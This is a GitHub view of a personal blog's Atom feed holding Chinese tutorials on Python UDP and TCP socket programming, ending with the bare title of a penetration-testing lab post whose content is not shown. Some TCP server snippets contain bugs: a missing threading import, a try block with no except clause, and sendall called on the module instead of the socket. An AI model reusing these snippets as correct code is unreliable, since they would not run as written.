-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathatom.xml
More file actions
255 lines (170 loc) · 174 KB
/
atom.xml
File metadata and controls
255 lines (170 loc) · 174 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>Karry's Blog</title>
<subtitle>There are two equivalence classes of idiots: Those who yearn for the past that never was. AND Those who dream of the future that never will be.</subtitle>
<link href="https://blog.karryspace.com/atom.xml" rel="self"/>
<link href="https://blog.karryspace.com/"/>
<updated>2025-02-26T13:39:23.606Z</updated>
<id>https://blog.karryspace.com/</id>
<author>
<name>Karry</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>python socket编程之---UDP通信</title>
<link href="https://blog.karryspace.com/posts/python%20socket%E7%BC%96%E7%A8%8B%E4%B9%8B---UDP%E9%80%9A%E4%BF%A1/"/>
<id>https://blog.karryspace.com/posts/python%20socket%E7%BC%96%E7%A8%8B%E4%B9%8B---UDP%E9%80%9A%E4%BF%A1/</id>
<published>2025-02-22T10:12:08.488Z</published>
<updated>2025-02-26T13:39:23.606Z</updated>
<content type="html"><![CDATA[<p>相比于 TCP 的面向连接、可靠传输,UDP 协议是一种无连接、不保证数据可靠性和顺序的传输方式。它更适用于对实时性要求高,但对丢包不敏感的场景,比如视频直播、在线游戏和语音通信等。Python 中的 socket 模块同样封装了 UDP 协议,为程序员提供了简便的接口来实现 UDP 通信。本文将分别介绍 UDP 通信中的客户端与服务端实现方法,并给出相应的代码示例。</p><h2 id="客户端-Client">客户端(Client)</h2><p>UDP 客户端无需建立连接,而是直接将数据报发送到指定的服务器地址和端口。下面的示例展示了如何使用 Python 的 socket 模块实现一个简单的 UDP 客户端:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建一个 UDP socket,AF_INET表示IPv4,SOCK_DGRAM表示使用UDP协议</span></span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置超时时长,单位为秒。1s=1000ms</span></span><br><span class="line">s.settimeout(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 定义服务端的地址与端口。 因为UDP是无连接的服务,所以只需要知道IP地址和端口号,就可以直接发送消息,无需建立连接。</span></span><br><span class="line">server_addr = (<span class="string">"127.0.0.1"</span>, <span class="number">8888</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 要发送的消息</span></span><br><span class="line">message = <span class="string">"hello, UDP"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用sendto方法将消息发送到指定的服务端地址</span></span><br><span class="line">s.sendto(message.encode(), server_addr)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 接收来自服务端的响应,recvfrom返回一个元组:(数据, 服务端地址)</span></span><br><span class="line"><span class="comment"># 因为设置了超时,所以使用try,except语句处理超时错误,避免程序崩溃</span></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line">data, addr = s.recvfrom(<span class="number">1024</span>)</span><br><span class="line"><span class="keyword">if</span> data:</span><br><span class="line">recv_message = data.decode()</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f"接收到来自 <span class="subst">{addr}</span> 的消息: <span class="subst">{recv_message}</span>"</span>)</span><br><span class="line"><span class="keyword">except</span> socket.timeout:</span><br><span class="line"><span class="built_in">print</span>(<span class="string">"timeout"</span>)</span><br><span class="line"></span><br><span class="line">s.close()</span><br></pre></td></tr></table></figure><span id="more"></span><p><strong>说明:</strong></p><ul><li>UDP 是无连接的,因此无需调用 <code>connect</code> 方法,而是直接使用 <code>sendto</code> 将数据报发送给目标地址。</li><li>使用 <code>recvfrom</code> 接收数据时,同时会返回发送方的地址信息。<code>recvfrom</code>函数返回的是数据和地址的元组(tuple)</li></ul><h3 id="recv与recvfrom">recv与recvfrom</h3><p>读者可能会发现,在TCP编程中我们使用了<code>socket.recv()</code>方法,但是在UDP中我们使用的是<code>socket.recvfrom()</code>方法。二者有什么区别呢?</p><ul><li><code>recv</code>方法返回data,也就是只返回数据, <code>recvfrom</code>方法返回(data, addr),也就是返回数据和发送者的地址两个信息。</li><li>UDP<code>recv</code>和<code>recvfrom</code>方法都可以使用。但是一般来说,需要发送者地址才能够进行回复,所以常用<code>recvfrom</code></li><li>TCP只能使用<code>recv</code>方法。由于其本身就是建立在连接上的通信,所以本身就知道双方地址。</li></ul><hr><h2 id="服务端-Server">服务端(Server)</h2><p>UDP 服务端的编程也十分简单,只需要绑定端口后不断调用 <code>recvfrom</code> 方法即可接收来自各个客户端的数据报。下面是一个基本的 UDP 服务端示例代码:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建一个 UDP socket</span></span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 绑定地址与端口,"0.0.0.0"表示监听所有可用的网络接口</span></span><br><span class="line">server_addr = (<span class="string">"0.0.0.0"</span>, <span class="number">8888</span>)</span><br><span class="line">s.bind(server_addr)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f"UDP 服务端已启动,监听地址:<span class="subst">{server_addr}</span>"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"><span class="comment"># 接收数据和客户端地址</span></span><br><span class="line">data, client_addr = s.recvfrom(<span class="number">1024</span>)</span><br><span class="line">message = data.decode()</span><br><span class="line"><span class="keyword">if</span> message:</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f"接收到来自 <span class="subst">{client_addr}</span> 的消息: <span class="subst">{message}</span>"</span>)</span><br><span class="line"><span class="comment"># 处理完消息后,可发送响应给客户端</span></span><br><span class="line">response = <span class="string">"receive"</span></span><br><span class="line">s.sendto(response.encode(), client_addr)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>说明:</strong></p><ul><li>服务端使用 <code>bind</code> 绑定到指定的 IP 地址和端口,其中 <code>"0.0.0.0"</code> 表示监听所有网络接口。如果使用 <code>"127.0.0.1"</code> 则仅能接收本机发送的数据报。</li><li>因为 UDP 是无连接协议,所以服务端不需要调用 <code>listen</code> 或 <code>accept</code> 方法。</li><li>每个收到的数据报都包含了发送者的地址信息,可以利用该信息直接回复客户端。</li></ul><hr><h2 id="UDP-通信的特点与注意事项">UDP 通信的特点与注意事项</h2><ol><li><p><strong>无连接性</strong><br>UDP 不需要建立连接,每个数据报都是独立发送和接收的。这样既降低了通信延迟,又节省了连接资源。</p></li><li><p><strong>不保证可靠性</strong><br>UDP 不保证数据包一定能到达,也不保证数据包的顺序。如果应用场景要求数据完整可靠,需要在应用层自行实现相应的机制。</p></li><li><p><strong>适用于实时性要求高的场景</strong><br>由于传输过程中开销较小,UDP 更适用于视频会议、实时语音、在线游戏等对延迟要求较高的场景。</p></li><li><p><strong>数据报大小限制</strong><br>由于 UDP 数据报需要在 IP 层进行分片与组装,因此数据包一般不宜过大,否则可能引起丢包或传输失败。通常建议数据包大小不超过 1500 字节(考虑到 MTU)。</p></li></ol><hr><h2 id="更优雅的服务端写法">更优雅的服务端写法</h2><p>当服务端功能较复杂,需要处理大量不同逻辑时,可以采用面向对象的方式对 UDP 服务端进行封装。下面是一个使用类和多线程的 UDP 服务端示例(注意:UDP 本身是无连接的,多线程仅用于并发处理接收到的数据报):</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">from</span> threading <span class="keyword">import</span> Thread</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">UDPServer</span>:</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, host=<span class="string">"0.0.0.0"</span>, port=<span class="number">8888</span></span>):</span><br><span class="line">self.server_addr = (host, port)</span><br><span class="line">self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span><br><span class="line">self.sock.bind(self.server_addr)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f"UDP 服务端启动,监听地址:<span class="subst">{self.server_addr}</span>"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">start</span>(<span class="params">self</span>):</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"><span class="comment"># 接收数据和客户端地址</span></span><br><span class="line">data, client_addr = self.sock.recvfrom(<span class="number">1024</span>)</span><br><span class="line"><span class="keyword">if</span> data:</span><br><span class="line"><span class="comment"># 启动新线程处理每个数据报</span></span><br><span class="line">Thread(target=self.handle_client, args=(data, client_addr)).start()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">handle_client</span>(<span class="params">self, data, client_addr</span>):</span><br><span class="line">message = data.decode()</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f"收到来自 <span class="subst">{client_addr}</span> 的消息: <span class="subst">{message}</span>"</span>)</span><br><span class="line"><span class="comment"># 在此处加入处理逻辑</span></span><br><span class="line">response = <span class="string">"receive"</span></span><br><span class="line">self.sock.sendto(response.encode(), client_addr)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line">server = UDPServer(port=<span class="number">8888</span>)</span><br><span class="line">server.start()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><strong>说明:</strong></p><ul><li>通过将服务端功能封装在一个类中,可以更方便地扩展和维护代码。</li><li>多线程处理可以避免在处理某个数据报时阻塞其它数据的接收,不过在高并发场景下,需要注意线程调度和资源竞争问题。</li></ul>]]></content>
<summary type="html"><p>相比于 TCP 的面向连接、可靠传输,UDP 协议是一种无连接、不保证数据可靠性和顺序的传输方式。它更适用于对实时性要求高,但对丢包不敏感的场景,比如视频直播、在线游戏和语音通信等。Python 中的 socket 模块同样封装了 UDP 协议,为程序员提供了简便的接口来实现 UDP 通信。本文将分别介绍 UDP 通信中的客户端与服务端实现方法,并给出相应的代码示例。</p>
<h2 id="客户端-Client">客户端(Client)</h2>
<p>UDP 客户端无需建立连接,而是直接将数据报发送到指定的服务器地址和端口。下面的示例展示了如何使用 Python 的 socket 模块实现一个简单的 UDP 客户端:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建一个 UDP socket,AF_INET表示IPv4,SOCK_DGRAM表示使用UDP协议</span></span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置超时时长,单位为秒。1s=1000ms</span></span><br><span class="line">s.settimeout(<span class="number">1</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 定义服务端的地址与端口。 因为UDP是无连接的服务,所以只需要知道IP地址和端口号,就可以直接发送消息,无需建立连接。</span></span><br><span class="line">server_addr = (<span class="string">&quot;127.0.0.1&quot;</span>, <span class="number">8888</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 要发送的消息</span></span><br><span class="line">message = <span class="string">&quot;hello, UDP&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 使用sendto方法将消息发送到指定的服务端地址</span></span><br><span class="line">s.sendto(message.encode(), server_addr)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 接收来自服务端的响应,recvfrom返回一个元组:(数据, 服务端地址)</span></span><br><span class="line"><span class="comment"># 因为设置了超时,所以使用try,except语句处理超时错误,避免程序崩溃</span></span><br><span class="line"><span class="keyword">try</span>:</span><br><span class="line"> data, addr = s.recvfrom(<span class="number">1024</span>)</span><br><span class="line"> <span class="keyword">if</span> data:</span><br><span class="line"> recv_message = data.decode()</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f&quot;接收到来自 <span class="subst">&#123;addr&#125;</span> 的消息: <span class="subst">&#123;recv_message&#125;</span>&quot;</span>)</span><br><span class="line"><span class="keyword">except</span> socket.timeout:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">&quot;timeout&quot;</span>)</span><br><span class="line"></span><br><span class="line">s.close()</span><br></pre></td></tr></table></figure></summary>
<category term="计算机网络" scheme="https://blog.karryspace.com/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/"/>
<category term="python" scheme="https://blog.karryspace.com/tags/python/"/>
</entry>
<entry>
<title>python socket编程之---TCP通信</title>
<link href="https://blog.karryspace.com/posts/python%20socket%E7%BC%96%E7%A8%8B%E4%B9%8B---TCP%E9%80%9A%E4%BF%A1/"/>
<id>https://blog.karryspace.com/posts/python%20socket%E7%BC%96%E7%A8%8B%E4%B9%8B---TCP%E9%80%9A%E4%BF%A1/</id>
<published>2023-11-30T07:41:01.000Z</published>
<updated>2025-02-26T13:39:35.770Z</updated>
<content type="html"><![CDATA[<p>学习过计算机网络,我们就知道传输层依靠TCP与UDP协议进行消息传输,socket是封装了TCP与UDP协议的一个面向程序员的接口。我们在网络编程时,会经常用到socket,下面就讲讲如何用python的socket实现服务端与客户端之间的TCP通信</p><h1>概述</h1><p>TCP通信,需要有一个服务端,一个或多个客户端。服务端监听端口,等待连接。客户端访问端口,请求连接。</p><h1>客户端(Client)</h1><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 导入socket库</span></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建一个socket, AF_INET表示使用IPV4,SOCK_STREAM表示使用TCP协议</span></span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line"><span class="comment"># 与服务端连接,addr是服务端的地址与端口</span></span><br><span class="line">addr = (<span class="string">"127.0.0.1"</span>, <span class="number">8888</span>)</span><br><span class="line">s.connect(addr)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 建立连接后就可以发送消息了</span></span><br><span class="line">message = <span class="string">"hello"</span></span><br><span class="line">s.sendall(message.encode())</span><br><span class="line"></span><br><span class="line"><span class="comment"># 接受消息并打印出来</span></span><br><span class="line"><span class="comment"># recv(max) 表示一次接收多少字节的数据,这里是1024字节,也可以是2048等等。</span></span><br><span class="line">recv_datagram = s.recv(<span class="number">1024</span>)</span><br><span class="line"><span class="keyword">if</span> recv_datagram:</span><br><span class="line"> recv_message = recv_datagram.decode()</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f"receive message <span class="subst">{recv_message}</span> from server"</span>)</span><br><span class="line"> </span><br><span class="line">s.close()</span><br></pre></td></tr></table></figure><span id="more"></span><p>如果想用ipv6,那么就用<code>socket.AF_INET6</code></p><p>addr是一个tuple,包含两个元素,第一个是服务端的ip地址,第二个是要连接的端口</p><p>发送消息可以使用<code>send</code>方法或<code>sendall</code>方法。<code>send</code>方法可能不会一次性发送所有的数据,而是尽力发送尽可能多的数据。返回值是实际发送的字节数。<code>sendall</code>方法会一直发送数据,直到所有数据都被发送完毕或者发生错误。它不返回实际发送的字节数,而是在发送完成或者发生错误时引发异常。</p><h1>服务端(Server)</h1><p>服务端相比于客户端更加复杂,因为服务端可能会收到来自多个客户端的连接请求,所以需要使用多线程来处理。对每个客户端的连接,都创建一个新的线程</p><p>先给出一个完整可运行的服务端代码,下面再做具体的解释:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 导入socket库</span></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建一个socket</span></span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line"><span class="comment"># 绑定地址与端口,"0.0.0.0"表示监听所有可用的网络接口,在下面会有详细解释</span></span><br><span class="line">addr = (<span class="string">"0.0.0.0"</span>, <span class="number">8888</span>)</span><br><span class="line">s.bind(addr)</span><br><span class="line"><span class="comment"># 开始监听,设置队列中可以排队等待的最大连接数为5</span></span><br><span class="line">s.listen(<span class="number">5</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 一直监听,如果有新的TCP连接,就进行处理</span></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="comment"># 接受连接</span></span><br><span class="line"> sock, addr = s.accept()</span><br><span class="line"> <span class="comment"># 创建一个新的线程来处理TCP连接</span></span><br><span class="line"> thread = threading.Thread(target=client_thread, args=(sock, addr))</span><br><span class="line"> thread.start()</span><br><span class="line"> </span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 实现服务端线程的具体功能</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">client_thread</span>(<span class="params">sock, addr</span>):</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> <span class="comment"># 接收消息</span></span><br><span class="line"> data = sock.recv(<span class="number">1024</span>)</span><br><span class="line"> message = data.decode()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> message == <span class="string">''</span>:</span><br><span class="line"> <span class="comment"># 没有收到消息,客户端断开连接</span></span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="comment"># 收到消息,进行处理</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f"receive message:<span class="subst">{message}</span> from client"</span>)</span><br><span class="line"> back = <span class="string">'receive'</span></span><br><span class="line"> socket.sendall(back.encode())</span><br><span class="line">sock.close() </span><br></pre></td></tr></table></figure><p>绑定地址与端口时,"0.0.0.0"表示监听所有可用的网络接口,如果使用"127.0.0.1"则表示只接受来自本机的连接。如果运行代码的服务器有固定的ip地址,可以直接使用该ip地址。</p><p><code>listen</code>方法的参数表示可以在连接队列中等待的最大连接数,这个参数通常被称为backlog。如果队列已满,后续的连接请求可能会被拒绝或者等待,直到队列有空间为止。backlog的设置取决于程序的性质和系统情况。一般来说默认设置为5。</p><p>thread创建新线程时,如果只有一个参数,参数需要写成如下形式<code>args=(sock,)</code>,从而保证是个tuple</p><h1>更优雅的服务端写法</h1><p>有时候,服务端要实现很多功能,需要很多函数和变量。这时候再一个个写函数,就会有些繁琐。可以用面向对象来实现服务端功能。</p><p>实现一个<code>ClientThread</code>类,继承<code>Thread</code>类,实现<code>run</code>方法。在创建新线程时,只需要实例化该类并调用<code>start</code>方法即可</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">from</span> threading <span class="keyword">import</span> Thread</span><br><span class="line"></span><br><span class="line">server_addr = (<span class="string">"127.0.0.1"</span>, <span class="number">33333</span>)</span><br><span class="line">server_socket = socket.socket(AF_INET, SOCK_STREAM)</span><br><span class="line">server_socket.bind(server_addr)</span><br><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">ClientThread</span>(<span class="title class_ inherited__">Thread</span>):</span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self, client_addr, client_socket</span>):</span><br><span class="line"> Thread.__init__(self)</span><br><span class="line"> self.client_addr = client_addr</span><br><span class="line"> self.client_socket = client_socket</span><br><span class="line"></span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">self</span>):</span><br><span class="line"> message = <span class="string">""</span></span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> data = self.client_socket.recv(<span class="number">1024</span>)</span><br><span class="line"> message = data.decode()</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> message == <span class="string">""</span>:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> self.process_message(message)</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">def</span> <span class="title function_">process_message</span>(<span class="params">self, message</span>):</span><br><span class="line"> <span class="comment"># 处理逻辑</span></span><br><span class="line"> ...</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> server_socket.listen()</span><br><span class="line"> sockt, addr = server_socket.accept()</span><br><span class="line"> client_thread = ClientThread(addr, sockt)</span><br><span class="line"> client_thread.start()</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html"><p>学习过计算机网络,我们就知道传输层依靠TCP与UDP协议进行消息传输,socket是封装了TCP与UDP协议的一个面向程序员的接口。我们在网络编程时,会经常用到socket,下面就讲讲如何用python的socket实现服务端与客户端之间的TCP通信</p>
<h1>概述</h1>
<p>TCP通信,需要有一个服务端,一个或多个客户端。服务端监听端口,等待连接。客户端访问端口,请求连接。</p>
<h1>客户端(Client)</h1>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 导入socket库</span></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"></span><br><span class="line"><span class="comment"># 创建一个socket, AF_INET表示使用IPV4,SOCK_STREAM表示使用TCP协议</span></span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line"><span class="comment"># 与服务端连接,addr是服务端的地址与端口</span></span><br><span class="line">addr = (<span class="string">&quot;127.0.0.1&quot;</span>, <span class="number">8888</span>)</span><br><span class="line">s.connect(addr)</span><br><span class="line"></span><br><span class="line"><span class="comment"># 建立连接后就可以发送消息了</span></span><br><span class="line">message = <span class="string">&quot;hello&quot;</span></span><br><span class="line">s.sendall(message.encode())</span><br><span class="line"></span><br><span class="line"><span class="comment"># 接受消息并打印出来</span></span><br><span class="line"><span class="comment"># recv(max) 表示一次接收多少字节的数据,这里是1024字节,也可以是2048等等。</span></span><br><span class="line">recv_datagram = s.recv(<span class="number">1024</span>)</span><br><span class="line"><span class="keyword">if</span> recv_datagram:</span><br><span class="line"> recv_message = recv_datagram.decode()</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f&quot;receive message <span class="subst">&#123;recv_message&#125;</span> from server&quot;</span>)</span><br><span class="line"> </span><br><span class="line">s.close()</span><br></pre></td></tr></table></figure></summary>
<category term="计算机网络" scheme="https://blog.karryspace.com/categories/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/"/>
<category term="python" scheme="https://blog.karryspace.com/tags/python/"/>
</entry>
<entry>
<title>billu b0x靶场渗透提权(超详细)</title>
<link href="https://blog.karryspace.com/posts/billu%20b0x%E9%9D%B6%E5%9C%BA%E6%B8%97%E9%80%8F%E6%8F%90%E6%9D%83(%E8%B6%85%E8%AF%A6%E7%BB%86)/"/>
<id>https://blog.karryspace.com/posts/billu%20b0x%E9%9D%B6%E5%9C%BA%E6%B8%97%E9%80%8F%E6%8F%90%E6%9D%83(%E8%B6%85%E8%AF%A6%E7%BB%86)/</id>
<published>2023-10-24T17:10:10.000Z</published>
<updated>2023-10-24T18:01:02.000Z</updated>
